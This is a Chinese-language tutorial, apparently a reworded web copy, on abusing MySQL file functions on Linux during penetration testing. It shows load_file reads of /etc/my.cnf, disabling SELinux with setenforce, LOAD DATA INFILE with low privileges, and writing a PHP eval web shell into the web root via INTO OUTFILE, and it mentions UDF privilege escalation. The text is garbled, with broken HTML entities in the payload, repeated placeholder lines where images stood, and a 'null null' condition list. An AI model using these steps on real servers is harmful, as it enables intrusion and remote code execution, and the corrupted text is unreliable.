mysql在Linux环境下如何进行文件读取

  介绍

这篇文章主要讲解了“mysql在Linux环境下如何进行文件读取”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“mysql在Linux环境下如何进行文件读取”吧!

读文件:

load_file

load_file在渗透过程中也就是读取文件,或者sql盲注的时候可以通过dnslog加快注入速度。

secure_file_priv:

当mysql secure_file_priv配置项为空(空是“,而不是空,空代表不可读取),或者指定的一个目录时,即可读取文件。

mysql命令行查看secure_file_priv配置

 show  variables  like “% secure_file_priv %“

癿ysql在Linux环境下如何进行文件读取"

读取服务配置项:

条件:

1。系统中关闭了selinux

2。知道服务配置文件路径

3。secure_file_priv可读到web目录

读取mysql配置文件

 select  load_file (“/etc/my.cnf"); 

癿ysql在Linux环境下如何进行文件读取"

在Centos中,如果开启了selinux,是无法读取到其他服务配置文件或者/etc/passwd的,需要将selinux关闭才能读取。

在实际情况中,也许会有管理人员为了方便将selinux关闭,所以读取下其他服务配置文件是值得一试的。

关闭selinux

 setenforce  0 

读取网络源码

条件:

1。系统中关闭了selinux

2。知道web绝对路径的情况

3。secure_file_priv可读到web目录

读取网络源码,就可以简单的进行审计,查找突破口啦。

数据加载infile

条件:

1。系统中关闭了selinux

2。知道web绝对路径的情况

3。secure_file_priv可读到web目录

数据加载infile也是读取服务端文件的语句,同样的也是受secure_file_priv的限制。基本用法如下:

第一步,得有一个数据表,里头的字段能够存放的进我们要读取的文件:

癿ysql在Linux环境下如何进行文件读取"

第二步,使用数据加载infile语句读取指定文件内容,并存入数据库:

癿ysql在Linux环境下如何进行文件读取"

假设登入的用户权限较小,我们登入的用户只需要用文件,插入和选择权限即可,然后随便找个数据表也可进行读取。

癿ysql在Linux环境下如何进行文件读取"

如果要读取配置文件,也是一样的需要关闭selinux才行。

如果在windows下,就没有这么多限制哦。

写文件

输出文件

当secure_file_priv配置项为空或者指定了一个目录时,且该目录mysql有写入权限.Mysql可写入文件

注意:输出文件和dumpfile在mysql 3.23.55版本之后,不可以覆盖文件。只能创建新文件

简单示例:

 select “123“, into  outfile “/tmp/123. txt" 

癿ysql在Linux环境下如何进行文件读取"

写入网站管理权限

条件:

1。知道web目录

2。secure_file_priv可写到web目录

以php为例:

 select “& lt; ? php  @eval ($ _GET [& # 39; x # 39;]); ?在“,into  outfile “/var/www/html/test.php"; 

癿ysql在Linux环境下如何进行文件读取"

癿ysql在Linux环境下如何进行文件读取"

dumpfile udf提权

条件:

1。mysql插件目录可写

2。null   null

mysql在Linux环境下如何进行文件读取